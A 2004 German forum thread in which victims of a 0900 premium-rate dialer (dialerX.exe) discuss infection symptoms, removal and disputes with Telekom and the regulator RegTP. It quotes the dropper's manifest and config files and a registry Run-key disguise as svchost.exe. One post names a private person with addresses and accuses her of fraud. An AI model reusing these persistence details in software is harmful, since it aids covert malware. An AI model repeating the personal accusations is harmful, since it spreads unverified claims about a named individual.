 Der bei der RegTP genannte GÖ dürfte ein Treuhänder sein, übrigens einer, der schon allerlei interessante Aktivitäten aufzuweisen hat... allein das, was man über google findet, ist lustig... (Kaizen 1996...). Die Firma, die bei der RegTP genannt wird, gehört zu einer Firmengruppe, in deren Umfeld äußerst interessante Liechtensteiner Firmen-e-mail-Adressen mit der Top-Level-Domain "de" auftauchen. Das ist insbesondere mit dem von user "Gal" zu Beginn des postings genannten Hintergrundinformationen zusammen durchaus spannend, zumal dann, wenn man die von user "reducal" erwähnte RegTP-Beschreibung liest (Da auch der Dialeranbieter "NCC" interessante Querverbindungen in mein "wählerfreundliches" Heimatland besitzt... Was sag ich, in meine "wählerfreundliche" Heimatstadt!


----------



## Anonymous (6 Juli 2004)

*DialerX*

Hallo,

ich habe mir heute einen Dialer eingefangen. Die Exe heißt DialerX.exe und die Einwahlnummer lautet 090090000958.
Ich hätte mal dazu ein Frage. Ich geh sonst über Arcor Call by Call rein, habe aber heute beim Beenden der Verbindung gemerkt, dass plötzlich 2 Verknüpfungen zu der DialerX.exe auf meinem Desktop waren. Ich hab daraufhin mal die DFü-Verbindung geprüft und dieses Ding hat tatsächlich meine Einwahldaten geändert. Hab versucht den Dialer zu entfernen. Dachte es hätte geklappt und hab die DFÜ-Verbindung gelöscht und neu angelegt. Kurz mit Arcor wieder eingewählt und nach ein paar Sekunden haben sich die Einwahldaten wieder geändert. Hab das ganze dann noch 2 mal wiederholt, aber immer das selbe. Wie werd ich das Ding jetzt los???  :cry: 
Kann ich mir sicher sein, dass die Einwahl noch durch Arcor passierte und dann erst die Daten geändert wurden, so dass bei der nächsten Einwahl erst die teure Nummer gewählt worden wäre und nicht schon bei der bestehenden Verbindung? 
Ich hoffe ihr könnte mir helfen!!!


----------



## Anonymous (6 Juli 2004)

*Dialer*

Mit geht es wie tom_D und den anderen, ich habe am Montag den Dialer bekommen zum Glück hatte ich einen 0190 Warner. Die File dialerx.exe, ist auf alle Fälle eine Ursache dafür. Das Datum und Uhrzeit des Auftretens und das Datum und Uhrzeit der File sind nämlich gleich.
Weiß jemand wie viel man dafür blechen muß.
Wie kann man dagegen vorgehen  bzw. eine zu hohe Rechnung verhinder.
Bei der Telekom bekommt man nur den "Rat" ich solle mir doch DSL kaufen, da dies eine Standverbindung ist, ohne Einwahl. Dort könne sowas nicht passieren. Weiterhin sagte man mir, das ich mich doch persönlich mit Programmen (wie SpyBot oder dem 0190Warner) schützen könne und solle. Weiterhin sagte man, ich könne gegen die Telefonrechnung beschwerde einreichen, dass hätte aber nicht viele Chancen und ich müße beweisen, dass es sich tatsächlich um einen Dialer handle. D.h. nicht sehr viel Hilfe durch die Telekom.
Ich möchte aber behaupten das sich die Unmenge an Menschen, die betroffen sind sich nicht irren kann bzw. dass man diese nicht als Schwindler abtun kann.

      Ciao Snofru


----------



## Rüdiger Kunz (6 Juli 2004)

*Re: Dialer*



			
				Datenbank der RegTP schrieb:
			
		

> Reg.-Nr.: 90090000958-1357274 vom : Apr 16 2004 4:29PM
> Adressierungsmerkmal :
> Hash - Wert :ADD0C28F531A3E142B972699720716AECFE6288A
> Dateiname : sexfiles.exe
> ...



Habt Ihr das ActiveX-Element irgendwie erlebt oder ein Sicherheitszertifikat bestätigt (siehe: IE --> Extras --> Internetoptionen --> Einstellungen --> Objekte anzeigen)?

Oder war es doch ein HTML-Dialer? Daran haben sich schon andere versucht (QuestNet) und sind davon wieder abgekommen, weil das so nicht funktioniert und die gesetzlichen Rahmenbedingungnen nicht erfüllt werden. HTML - heute so, morgen so!

Beschwert Euch mit Euren Erkenntissen bei der RegTP ( [email protected] ). Um so mehr Beschwerden eingehen, desto eher besteht die Chance, dass dem Dialer die Registrierung "rückwirkend" wieder entzogen wird - auf die Masse kommt es an! Wenn die Registrierung erst einmal entzogen ist, besteht i. d. R. keine Zahlungsverpflichtung mehr.

@ all

der Registrierungsverpflichtete ist im Ausland - ist das rechtens oder muss der hier in D erreichbar sein?


----------



## Aka-Aka (6 Juli 2004)

@Zustellung/ausländischer Vertretungsberechtigter:

In der Verfügung 54 steht, dass da eine zustellbare deutsche Adresse sein muss - aber in einem ähnlichen Fall teilte mir die RegTP sinngemäß mit, dass das zwar dort steht, aber nicht so ist: zustellbar reicht.


----------



## technofreak (6 Juli 2004)

Aka-Aka schrieb:
			
		

> aber in einem ähnlichen Fall teilte mir die RegTP sinngemäß mit,
> dass das zwar dort steht, aber nicht so ist: zustellbar reicht.


haben die das schon mal überprüft.....

tf


----------



## Anonymous (6 Juli 2004)

technofreak schrieb:
			
		

> Aka-Aka schrieb:
> 
> 
> 
> ...


Ich nehme es an... Oder wie sind sie sonst beim 090090000928 auf "Bingen" gekommen  (allerdings ist das nur eine Annahme meinerseits). aka


----------



## technofreak (6 Juli 2004)

aka schrieb:
			
		

> Ich nehme es an... Oder wie sind sie sonst beim 090090000928 auf "Bingen" gekommen  (allerdings ist das nur eine Annahme meinerseits). aka



Bingen ist, soweit ich informiert bin, deutsches "Reichsgebiet" , aber wie steht es mit
 Schweden, Liechtenstein usw...... 
http://www.liechtenstein.li/


> ca. 34´000 Einwohner


auch nicht viel mehr Einwohner als  die berühmt/berüchtigten Südseeinseln...

tf


----------



## Aka-Aka (6 Juli 2004)

technofreak schrieb:
			
		

> aka schrieb:
> 
> 
> 
> ...


Wie viele davon sind eigentlich "Treuhänder?"


----------



## Anonymous (7 Juli 2004)

*090090000958 Hiiilllffeeeee*

Hallöchen, auch mich hats erwischt. Die 090090000957 habe ich löschen können aber die...958 ist immer noch aktiv. Sie wird zwar ständig geblockt von meinem 0900Warner aber ich find e die entsprechende Dailer Datei nicht. Wer kann mir helfen. 
Bitte Bitte Bitte

Gruss   [email protected]
_e-mail-addi gelöscht siehe NUB tf/mod _


----------



## Anonymous (8 Juli 2004)

*"DialerX[1].exe" und "XXX" auf dem Deskt*

Mich hat auch so ein Dialer erwischt.
Leider kann mir die Telekom noch keine Auskunft über die Nr. geben.
Doch nun weiß ich, daß man solche 0900-Nummern kostenlos sperren lassen kann.
- Kann ich nur jeden empfehlen der irgendwie Probleme mit Dialern hat/hatte bzw. nicht erst haben will!!!

Zu der Nr. mit ...58 am Ende:
Was mache ich nun, wenn es diese Nr. ist und sie auch bei der Regulierungsbehörde angemeldet ist?
Bei der Polizei anzeigen und gegen die Telekom-Rechnung Einspruch einlegen bzw. gegen die Kosten dieser Nr.?


----------



## littlebird's prompter (8 Juli 2004)

Die Leute, die hier bei der RegTP stehen, sind soooooo groß und haben soooooooo gute Beziehungen. Das glaubst Du nicht? Kuckste www.noconline.org/NOCworld/displayitem.asp%3Fitem%3Dcurrent%26displayid%3D268+%22ddd+com%22+swisscom&hl=de] mal hier [/url].

(Der Rest würde hier etwas zu weit führen...)


----------



## Anonymous (9 Juli 2004)

@ tycoon.1

Lass mal Spybot drüberlaufen!

Bei nem Kumpel hat sich der Dialer als Systemdatei getarnt, dumm nur das diese Datei im System32 Ordner sitzt und nicht im Windows Ordner selbst. Sie hatte auch unter:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

nen Eintrag als SVCHOST | svhost.exe 1


----------



## Anonymous (11 Juli 2004)

*DialerX[1].exe und XXX auf Desktop*

@Luzifer
Ich habe auch die Datei in der Registry gefunden. Nur bei mir verbindet sich bislang kein Dialer. Sollte ich sie dennoch löschen?

@all
Nach Anfrage an die Telekom, weiß ich nun, dass sich hinter den o.g. Dialern die Nr. 0900/900000957 & 0900/900000958 versteckt.
Da ja nun schon mehr von Euch so ein Problem mit diesen Nummern hatten, muss doch auch schon jmd. was unternommen haben?!
Habt Ihr Einspruch bei der Telekom eingelegt?
Was ist nun dabei raus gekommen?


----------



## Anonymous (11 Juli 2004)

Das ist kein Dialer im eigentlichem Sinne, also wo sich ein Programm öffnet und nachfragt, sondern im Hintergrung läuft und die Einwahlnummer manipuliert. Kuckst Du nach der Nummer in den DFÜ Einstellungen ist Deine eingetragene da zu sehen. Stellst Du aber eine Verbindung her, dann ändert er diese Nummer auf die 09009...

Zu dem Dialer gehört noch eine Datei Names: mWinXP.txt und vielleicht noch mit Zusätzen, wie mWinXPD.txt, mWinXpD2.txt. Könntest Du mal den inhalt davon posten. Der würde mich sehr interessieren, da ich den gesicherten Dialer von meinem Kumpel mal testen will. Ich habe DSL, also besteht keine Gefahr für mich.


----------



## Anonymous (14 Juli 2004)

Also ich werde gleich morgen Einspruch einlegen gehen. Egal ob die dir Vorwürfe machen dass du nicht aufgepasst hast, oder die genervt sind, dass du vielleicht schon der 100. in dieser Woche bist...die werden deinen Einspruch wohl aufnehmen und nachdem das Geld rückgebucht wurde wird dir wie mir erzählt wurde dir sehr schnell eine Inkassofirma auf den Hals rücken und dich fast terrorisieren. Was man mir geraten hat ist folgendes: Weder schriftlich noch am Telefon sich auf irgendwelche Diskussionen einlassen, sich nicht von Drohungen beeindrucken lassen. Einfach kurz und knapp sagen, dass der dialer (oder was es auch ist) nicht die RegTP-Regeln erfüllt. (Also kein OK-Feld,kein Hashwert, keine Kosteninfo,etc...) und drauf hinweisen dass das Problem der Regtp gemeldet wurde. Ich hatte bisjetzt zum Glück mit solchen Leuten nie zu tun, aber die scheinen wohl sehr gerissen zu sein, und jedes Wort was man sagt oder schreibt, drehen die dreimal um und verwenden es gegen einen selber...Ich hoffe mal dass umso mehr sich bei der Regtp melden auch bald die Lizenz entzogen wird..wenn das passiert sind wir alle fein raus!


----------



## Anonymous (19 Juli 2004)

*habe schon Beschwerde eingelegt*

Hallo Leute,

auch ich habe mir diesen Dailer eingefangen, konnte ihn zwar löschen aber das war anscheinend der größte Fehler. Ich habe meine Telefonrechnung bei der Telekom reklamiert. Natürlich haben Sie das nicht wirklich zur Kenntniss genommen, so sinngemäß stand im Antwortbrief was davon das sie keine Hinweise darauf haben das es sich bei diesem Anbieter um einen unseriösen handle und man soll doch Anzeige erstatten. Allerdings kann man nur Anzeige erstatten, wenn man auch den Dialer hat.  Tja was nun. Ich habe nochmals auf das Schreiben der Telekom geantwortet. Und nun mal schauen. leider habe ich keine Rechtschutsvers., weil dann wäre alles klar.
Schönen Grüße
Ulle


----------



## Anonymous (19 Juli 2004)

Die Telekom will nur das Geld, da sie ja meist nen Batzen davon abbekommt.


----------



## dfas-eu (21 Juli 2004)

*Re: habe schon Beschwerde eingelegt*

Sofort Beschwerde bei der RegTK einlegen. Irgendwo in diesen Seiten ist der Link angegeben. Diesen B.... muss das Handwerk gelegt werden. Ohne diese Beschwerde kann die RegTK nichts machen und je mehr sich beschweren um so schneller wird der Anbieter abgeschaltet.

_aus rechtlichen Gründen editiert , siehe NUB tf/mod _


----------



## dfas-eu (21 Juli 2004)

*Re: habe schon Beschwerde eingelegt*

Hier nochmal die Web Adresse mit Infos zwecks Beschwerde und Ueberpruefung des Dialers.

http://www.regtp.de/mwdgesetz/start/fs_12.html


----------



## Anonymous (21 Juli 2004)

*mega rechnung der newlines ag über 978 Euro*

Ich habe 10 Verbindungen je ca. 80 € =800€ plus Steuer. Auch mich hat es getroffen - ich war nur ellenlang im Netz und habe erst zu spät gemerkt, dass der dialer meine freenet-verbindung in die 0900 Nummer automatisch geändert hat. Auch ich habe niemals ein Ok-Feld oder eine Aufklärung über die Gebühren gesehen. Mein Virenwarner zeigt den Dialer noch an - die Daten habe ich auch noch nicht gelöscht. Auch die beiden Icons mit "Dating" und "XXX" habe ich noch am Bildschirm. Mittlerweile habe ich die 0190 und 0900-Nummern gesperrt. Habe bei T-Com Beschwerde eingelegt, es kam aber nur ein allgemeines Blah Blah und das es sich um einen seriösen Anbieter handelt. Ich soll bis zum 23.07. zahlen. Werde ich aber nicht tun - ich gebe die Lastschrift zurück und werde mich morgen bei der RegTP beschweren. Hat jemand Erfahrung, wie die T-Com mit meinem Lastschrift-Widerspruch umgeht? Ich möchte nicht, dass der Anschluss gesperrt wird. Andererseits sehe ich nicht ein, diesen Betrag jemals zu zahlen.


----------



## TSCoreNinja (21 Juli 2004)

@beko

ueberlege Dir bei dem Betrag sehr gut, ob Du den Rechner nicht entbehren kannst und der Polizei hinstellst zur Beweissicherung. Ansonsten unbedingt einen Fachmann dran lassen, und alle Aenderungen/Saeuberungen nur unter Beisein eines Zeugen ausfuehren (und evt. eine komplette Datensicherung machen).  Letztlich ist aber der Gang zur Polizei sinnvoller, da dann gleichzeitig gegen die Verantwortlichen strafrechtlich ermittelt wird (was aber auf die Forderungen der TCom keinen Einfluss hat).

BTW, die Telekom darf Dir den Anschluss nicht sperren, wenn Du ordentlich widersprichts. Wenn sie dies tut, ist das illegal, geh dann zum Anwalt, das geht zu 99.9% durch. Meld Dich mal hier an, dann kan man ggf. mit Dir per PN Kontakt aufnehmen.
Gr,
TSCoreNinja

PS: unbedingt Screenshots machen, wenn die 0900 Nummer in der Freenet Verbindung noch zu sehen ist, ebenso von den Antivirus Logs (im Beisein eines Zeugen!)


----------



## Reducal (21 Juli 2004)

*Re: mega rechnung der newlines ag über 978 Euro*



			
				beco schrieb:
			
		

> Ich habe 10 Verbindungen je ca. 80 € =800€ plus Steuer.


Wie lautet denn die angewählte Nummer lt. unverkürztem Einzelverbindungsnachweis? Ausnahmsweise, und sowas hat man hier schon länger nicht erlebt, kommt offensichtlich keine Drop-Charge-Nummer zum Einsatz. Sieht ganz so aus, als wäre ein Dialer mit einer 2-€-Nummer / Minute, für jeweils 40 Minuten benutzt worden.
Das mit der veränderten Freenet-Einwahl wäre tatsächlich ein hartes Ding, dass unbedingt über die Behörden ermittelt gehört! Allerdings stellt sich die Frage nach dem tatsächlichen Verbindungsaufbau - hat der Dialer die Freenetparameter verändert? Legte er sich lediglich als DFÜ-Verbindung an und wurde angewählt, obwohl Freenet zur Verfügung stand, jedoch nicht auf "Standard-Verbindung wählen", gesetzt war - oder wie?
Wenn diese Fragen nicht geklärt sind, ein Dialer mit der Nummer jedoch ordnungsgemäß bei der RegTP registriert ist, dann bekommst Du demnächst größere Probleme mit der T-Com - einzige Chance, laß´ mal jemand ran, der was kann!


----------



## Anonymous (22 Juli 2004)

Also erstmal zur Telekom. Die MÜSSEN deinen Einspruch entgegennehmen und die können soviel rumlabern wie sie wollen, das was du bekommst sind doch sowieso nur vorgefertigte Standardtexte! Vielleicht schauen die gerade noch mal nach ob der bei der Regtp gemeldet ist und das wars!
Also meinen Widerspruch haben die zumindestens angenommen. Wenn du das noch rechtzeitig machst kannst du dir vielleicht sogar den Ärger mit Rückbuchen und dann wieder neu überweisen sparen.
@beco: Bei dem Betrag würde ich wirklich alle Vorsicht walten lassen und auch an den Rechner nicht mehr viel machen außer vielleicht noch den dialer der Regtp schicken und die ganzen dazugehörigen Dateien zur Sicherheit kopieren. Einfach mal in den TemporaryInternetFiles alles raussuchen was mit dem Erstellungsdatum und Uhrzeit des Dailers selber übereinstimmt.
@coreninja: Die Screenshots kannst du wohl kaum als Beweismittel ansehen. Ich kann doch jetzt nachträglich auch jederzeit wieder die Nummern eintragen und das Bild speichern. (Und dann von mir aus das falsche Bild noch von einem Zeugen bestätigen lassen)
@reducal: Zumindestens bei mir (und da denk ich auch mal bei den anderen) wurde in die vorhandenen Verbindungen einfach eine andere Nummer eingetragen!
@Luzifer: Also ich hab mehrere solche Dateien deren Inhalt ungefähr so ist:

mWinXpd
;0;1009200019001000100915071;0;2;0;2s0v2c0;2106181;011.00120

mWinXp
;0;1009200019001000100915071;0;2;0120002;0s2v0c1;17021;011.00121
;0;1009200019001000100915081;0;2;0120002;0s2v0c1;17021;011.00121

Un dann ist vielleicht noch die Datei interessant:

files
^mark^^^^
mWinXp.txt^copy^^^^
mWinXp.txt^countrycopy^^^^
mWinXpd.txt^copy^^^^
mWinXpd.txt^countrycopy^^^^
mWinXpd2.txt^copy^^^^
svchost.exe^run^40^^^
dialerX.exe^install^XXX^Sex pictures and movies, live webcam stream!^40^
dialerX.exe^install2^Dating^Matchmaking. You will find your perfect date!^40^
switchagreement.txt^copy^^^^

Alle Dateien die da genannt sind sind auch auf meinem Rechner...


----------



## Anonymous (22 Juli 2004)

*mega rechnung der newlines ag über 978 Euro*

@ beco

Bei mir war alles genau so.
Später habe ich (auf einem anderen Rechner) verschiedene Tests gemacht. Ich weiss jetzt von welcher Internetseite kriegte ich diesen "Dialer" und wie das ganze funktioniert. Habe sogar Video, das "installation" vom "Dialer" zeigt.
Es reicht eine bestimmte Internetseite zu öffnen, und dann ohne irgendwas zu machen ca. 1-2 Minute abwarten – Datei(en) wird heimlich geladen, gestartet und ersetzt Telefonnummer von deinem Standart-Internet-Anbieter in DFÜ durch „090090000958“, oder durch „090090000957“. User-Name wird durch "ConnIntsX" ersetzt. ("X" ist einfach ein Zahl.)
Beim nächsten Einwahl vom Standart Verbindung wird nicht mehr Freenet oder so angerufen, sonder dieser "090090000958" (


----------



## Dino (22 Juli 2004)

Ein solches Video könnte ein schlagender Beweis sein, der vielen anderen Betroffenen nützt. Wenn dieses Video tatsächlich zeigt, dass mit dieser Nummer Schindluder getrieben wird, hat sich die Registrierung und damit auch die Rechnungsstellung wohl in Kürze erledigt.
Bitte - im Sinne aller Betroffenen - umgehend mit der RegTP in Verbindung setzen, damit das Treiben möglichst schnell ein Ende hat.

Und so ganz nebenbei: Das Video würde mich selbst interessieren. Liegt es als Datei vor? Könntest Du es ggf. mal rüberwachsen lassen?
Vielleicht solltest Du Dich anmelden zwecks Erreichbarkeit....


----------



## technofreak (22 Juli 2004)

Regtp Anfrage



> Reg.-Nr.: 90090000958-1357274 vom : Apr 16 2004 4:29PM
> Adressierungsmerkmal :
> Hash - Wert :ADD0C28F531A3E142B972699720716AECFE6288A
> Dateiname : sexfiles.exe
> ...



Würde mal sagen, nicht ganz unbekannt.....


----------



## axel (22 Juli 2004)

Dino schrieb:
			
		

> Bitte - im Sinne aller Betroffenen - umgehend mit der RegTP in Verbindung setzen, damit das Treiben möglichst schnell ein Ende hat.....


Genau das mache ich gerade. Mir fehlt noch Einzelverbindungsnachweis vom Telekom. (Die spielen in "Oooo... Wir verstehen nicht ganz was Sie von uns wollen!"). Diese oder nächste Woche schicke ich alle gesammelte Nachweise zu RegTP.




> Liegt es als Datei vor?


Nein, leider nicht.  Ich habe keine Möglichkeit (und die Zeit) dieses Video in eine *.avi Datei zuumwandeln. Aber ich kann Dir Internetseite nennen, damit Du selbst Video erstellen kannst. Wird das sogar besser für "Beschwerde bei RegTP" - unabhängige Videos von mehrere Leute zu kriegen?


----------



## Anonymous (22 Juli 2004)

Also die Internetseite hab ich auch rausgefunden.
Das mit dem Video klingt wirklich interessant. Aber ich vermute mal, dass du es im nachhinein aufgenommen hast, also die Situation nachgestellt hast. Da denke ich mal dass der RegTP ein Video reichen sollte, weil wir würden ansonsten ja nur alle das gleiche wiederholen...und wenn die den Dialer widerrufen, haben wir sowieso alle das Problem los - egal wer wieviele Beweise für seine Unschuld hat!


----------



## Anonymous (22 Juli 2004)

Diese Video würde mich doch auch schwer interessieren. Bitte halte uns hier unbedingt auf dem laufenden, was die RegTP dazu meint. Eine Bekannte von mir hat sich diesen Dialer auch eingefangen und kann sich nicht erinnern, irgendwas bestätigt zu haben usw. Leider war der Rechner so verseucht mit Viren, Trojanern und anderen Dialern, dass ich absolute Radikalkur machen musste und fast sämtliche Dialer von Hand runtergeschmissen hab. Als Beweis hab ich jetzt eigentlich lediglich noch die Reports von Spybot und AntiVir (ausgedruckt). Wenn sich aber rausstellen sollte, dass sich dieser Dialer ungefragt installiert, so stehen die Chancen glaube ich nicht schlecht, bei der RegTP was zu erreichen. Ansonsten hält sich das Ding ja an einige wichtige Punkte wie Rufnummerngasse, Registrierung und maximaler Einheitenpreis.

Wie gesagt, bitte unbedingt auf dem laufenden halten, da meine Bekannte jetzt erstmal Einspruch bei der Telekom einlegen und den Betrag zurückhalten wird. Da dann oft recht schnell die Inkassounternehmen terrorisieren und sie sich da glaube ich schlecht wehren kann, wäre jeder stichhaltige Beweis sehr hilfreich.


----------



## axel (22 Juli 2004)

@ dialerhasser

Das werde ich tun!
Nur Urlaub kann mich für 2 Woche unterbrechen.


----------



## Anonymous (23 Juli 2004)

@axel

Über welche Seite hast du dir denn nu den Dialer geholt? Ich würde das gerne mal bei mir daheim ausprobieren, damit ich weiss, wie das Ding funktioniert. Oder sind in diesem Forum solche Links unerwünscht? Mir jedenfalls würde das schon weiterhelfen.


----------



## TSCoreNinja (23 Juli 2004)

Fuer diese Links gibt es das Linkforum, dass eine extra Anmeldung erfordert. Hier im normalen Forum hat das nichts zu suchen.
Gruesse,
TSCoreNinja


----------



## galdikas (23 Juli 2004)

technofreak schrieb:
			
		

> Regtp Anfrage
> 
> 
> 
> ...



Der Straßennamen schreibt sich Lund*-a-*vägen, und auch der Name der "Inhalteanbieterin" ist in der RegTP-Datenbank nicht ganz richtig angegeben; korrekt sind zwei ss  (....insson....)
( siehe z.B. diesen Artikel über die zentrale Figur im schwedischen Sexseiten/Dialer/Massen-Scheinrechnungs-Geflecht.) 

Das alles gehört zum *Persolvo*-Gewirr. ( Persolvo Inkasso/MSB/TBS/IBC/sexfiles.nu/private-live.com/TromBromSromAB / D-SMS/HFM Hamburger Forderungsmanagement  ....... )

*Persolvo Inkasso AB* 
- Box 50419,  202 14 MALMÖ  (Postanschrift)
- Lundavägen 56,  212 25 MALMÖ
(Quelle: http://www.bizbook.se/ )

Und wenn man ihren Namen in korrekter Schreibweise auf der Homepage des Firmenverzeichnisdienst http://www.bizbook.se/ eingibt ( Efternamn = Nachname, Förnamn=Vorname), dann wird nicht nur ihre einschlägig durch Massen-Scheinrechnungsversand in Erscheinung getretene Firma *Svenska Let To Phone AB* angezeigt:

-----Name----Position --------------  Adresse   --------------------------------------  Firma

J.M.   Ägare, enskild firma;    Skebokvarnsvägen 201, BANDHAGEN,  *Jessica Martinsson*
J.M.   Account Manager, Säljare;  Brovägen 5, STOCKSUND, *Software Spectrum AB*
J.M.   Verkställande direktör;  Agneslundsvägen 14, MALMÖ, *Svenska Let To Phone AB*
J.M.   Ägare, enskild firma;  Byavägen 2106, HANASKOG, *Tejta Produkter*

Die *Svenska Let To Phone* befand sich danach unter derselben Adresse wie die  *Tele2 AB*:



			
				Halmstadt Studentkar schrieb:
			
		

> *TELE2 AB*
> 
> Agneslundsvägen 14
> 
> ...



siehe auch: http://forum.computerbetrug.de/viewtopic.php?p=54279#54279

gal.


----------



## Aka-Aka (23 Juli 2004)

whois-Auszug (editiert) zur s***.nu (nach cb-whois)

aka

_Das Posten von Whois ist generell verboten, nicht weil der Forenbetreiber das nach Gutdünken verbietet, sondern 
weil er muß, gemäß den Vorschriften von Denic u.a ist das Veröffentlichen von Whois-Daten strikt verboten 
http://forum.computerbetrug.de/rules.php#10 tf/mod_


----------



## Anonymous (24 Juli 2004)

*Dialerx.exe - 090090000957*

Mich hat es auch erwischt, und konnte am Anfabg nichts fesstellen, bis ich merkte, das die Einwahlnummer und Benutzer überschrieben war. Ich habe von der Telekom den Einzelverbindungsnachweis eingeholt und zum Glück nur 3 Verbindungen drauf. Bei mir wurde auch die Standardverbindung überschreiben. Und das auch nachdem ich jedes mal die Daten geändert hatte. Eine Suche nach dem Dialer in den Cookies und Temp Internet Files ergab kein Ergebnis. Die dialerx.exe habe ich vor lauter Panik gelöscht. Nur die Textdateien habe ich gesichert. Auch nach dem löschen der dialerx.exe wurde die Standardverbindung immer wieder überschrieben, so entschloß ich mich für eine Systemwiederherstellung zu einem früheren Zeitpunkt. Ab da funktionierte die Einwahl wieder. Für mich wäre nun interessant ob schon irgend jemand bei der Reg TP auf ein Ergebns gekommen ist, und eine Rückforderung des Geldes erfolgreich gewesen ist, bzw welche Schritte einzuleiten sind.

Vielen Dank.


----------



## Anonymous (24 Juli 2004)

gal schrieb:
			
		

> Das alles gehört zum Persolvo-Gewirr. ( Persolvo Inkasso/MSB/TBS/IBC/sexfiles.nu/private-live.com/TromBromSromAB / D-SMS/HFM Hamburger Forderungsmanagement ....... )





			
				Aka-Aka schrieb:
			
		

> whois-Auszug (editiert) zur s***.nu (nach cb-whois)
> 
> aka
> 
> ...


aber ich darf dazu auffordern, sich auf Heikos  whois-seite  die whois von sexfi***.nu anzukucken?


aka


----------



## Aka-Aka (24 Juli 2004)

heiko geht nicht, also  hier 

oder bei heiko alle häkchen ankreuzen


----------



## Heiko (24 Juli 2004)

Du kannst das aber auch direkt verlinken:
http://computerbetrug.de/whois/whois.php?testen.de


----------



## Aka-Aka (24 Juli 2004)

das Ergebnis ist nach den Ausführungen, die hier schon gemacht wurden, ohnehin eher langweilig und eher zu Dokumentationszwecken oder für solche, die damit was anfangen können...


----------



## TSCoreNinja (26 Juli 2004)

*Missbrauch Rufnummer 0900-90000958*

Liebe Geschädigte der 0900-90000958,

eben ist von mir eine Beschwerde bezueglich der Rufnummern 0900-90000957 und 0900-90000958 an die RegTP geschickt wordne wegen Verstoss gegen die Registrierungsvoraussetzungen (Automatische Einwahl, nicht-registrierter Dialer mit Hash e59c4d113f9dba18abd9e28c6d4340ac0e3b2f43 , nicht monolithisch). Beschreibung des Vorgangs (mit zensierten URLs), wie sie nun BSI und RegTP vorliegt, ist im Thread 
http://forum.computerbetrug.de/viewtopic.php?t=6658 zu finden. Wie lange brauch wohl die RegTP zur Ruecknahme? BTW, Dialer befindet sich auf Download der Svenska Let To Phone AB... 
Gr,
TSCN


----------



## Anonymous (26 Juli 2004)

*Straf-Anzeige aufgrund Dialer 0900-90000957/58*

Hallo Forum !!! 

Als Polizeibeamter habe ich gestern eine Anzeige (guter Bekannter) zum o.g. Dialer aufgenommen. Dank diesem Forum bin ich schon etwas schlauer geworden und habe mir den Rechner genauestens angesehen. 
Da ich schon mit den ersten PC aufgewachsen bin, traue ich mich natürlich auch an die Registry und alles andere heran.

Derzeitiger Stand:

Dialer schreibt sich in das Windows-Root-Verzeichnis (dialerx.exe)
Anschließend werden zwei kleine Verknüpfungen erstellt.
Die T-DSL Leitung wurde gekappt (wie auch immer), das T-Online Einwählprogramm komplett außer Kraft gesetzt, läßt sich (derzeit) nicht restaurieren.
Die Registry wurde erheblich verändert.
0190-Warner schlägt sofort an und teilt o.g. Nummer als Einwählnummer mit, kann diese jedoch nicht entfernen.

Alle Dateien von mir gesichert, als Beweis gut zu gebrauchen.
Sämtliche Versuche, den Dialer zu de-installieren, schlugen bisher fehl (Windows XP Prof.). Werde daher die Festplatte meines Bekannten formatieren, was bleibt auch sonst.....

Telekom und Reg-Behörde in Kenntnis gesetzt.

Angeraten, Rechnung zu stornieren und nur die "echten" Kosten zu überweisen...

Gut, wenn man nen Schutzmann kennt (gröhl).....kann man doch etwas mehr erreichen.


CU all............Dierk


----------



## Reducal (26 Juli 2004)

*Re: Straf-Anzeige aufgrund Dialer 0900-90000957/58*



			
				Dierk-mit-E schrieb:
			
		

> .....Als Polizeibeamter habe ich
> 
> 
> mir den Rechner genauestens angesehen
> ...



Du Beamter, Du weißt schon, dass der Eingriff in private Rechte nicht Deine Aufgabe ist? Du bist doch bestimmt kein EDV-Sachverständiger und hast kein gerichtsverwertbares Gutachten erstellt. Du sagst Deinem Bekannten (als Beamter) wie er sich verhalten soll und gibst hier mit Deinem Halbwissen auch noch an. Meinst Du wirklich, die T-Com vertraut auf die zur Kenntnis gegebenen Info´s einer unautorisierten Stelle? So lange der Dialer bei der RegTP nicht deregistriert ist, wird die T-Com das Forderungsmanagement betreiben. 
Das Du ein netter Typ bist glaube ich Dir gern, also verstehe mich nicht falsch - das einzigst Positive dürfte wohl die Meldung an die RegTP gewesen sein.

Dieses Negativbeispiel sollte möglichst keine Schule machen.


----------



## Anonymous (27 Juli 2004)

Na jetzt hör doch mal auf, auf anderen rumzuhacken. Auch wenn einiges davon schon im Forum steht, wars sicherlich gut gemeint!!!
Aber ich hätte noch anzumerken, dass ich nicht gleich formatieren musste. Ich hab ein paar Tools gestartet und der Virenscanner hat auch gleich den Dialer erkannt und ein registryprogramm hat auch ein  paar Sachen gefunden, die u.U dazugehörten. Auf jeden Fall war danach niewieder was gewesen, obwohl ich alle Daten noch auf dem Rechner gesichert hat - und ich hoffe das bleibt auch so...
kannst du oder jemand anders mal posten an welcher Stelle das genau in der Registry stand, damit ich nur noch mal zur Sicherheit gezielt nachschauen kann??

An die, die geschrieben haben, dass sie den Dialer schon gelöscht haben: Ihr müsst hoffen, dass die RegTP de Dialer deregistriert, wenn ihr sonst keine Beweise habt. Und nicht soviel Angst vor den Inkassobüros. Auch wenn die einen terrorisieren werden, muss man eigentlich nur standhaft bleiben und die Nerven bewahren.

Übrigens, ich hab nach rund 2 Wochen noch nix von der RegTP gehört...


----------



## Dino (27 Juli 2004)

Kann ggf. auch etwas länger dauern....

http://forum.computerbetrug.de/viewtopic.php?t=6141

Aber bei anderen ging es auch schneller. Siehe 2. Posting des verlinkten Threads. Das lässt dann wieder hoffen...


----------



## Anonymous (28 Juli 2004)

Ich bin überrascht, dass es ein Forum zu einer bestimmten Dialer-Nummer gibt, und ich bin erfreut, nicht allein zu sein, denn mich hat diese Nummer auch erwischt. Das Programm hat sich bei mir ählich verhalten wie oben beschrieben:

Ich konnte ebenfalls den Dialer nicht löschen.

Ich habe sofort alle 0900er und 0190er Nummern bei der Telekom sperren lassen. Dann wr Ruhe, d.h. vermutlich ist der Dialer noch auf meinem Rechner, kann nur keinen Schaden mehr anrichten.

Der Schaden innerhalb weniger Stunden beträgt bei mir immerhin über 90 Euro. Die Telekom stellt sich allerdings stur und fordert von mit Beweise.

Was kann man d nun tun?


----------



## Captain Picard (28 Juli 2004)

Anonymous schrieb:
			
		

> Was kann man d nun tun?



Blick in die Karten des Nachbarn erspart stundenlanges Nachdenken  

Folgende Schritte haben sich als tauglich erwiesen:
1. Don't Panic. 
	

	
	
		
		

		
			




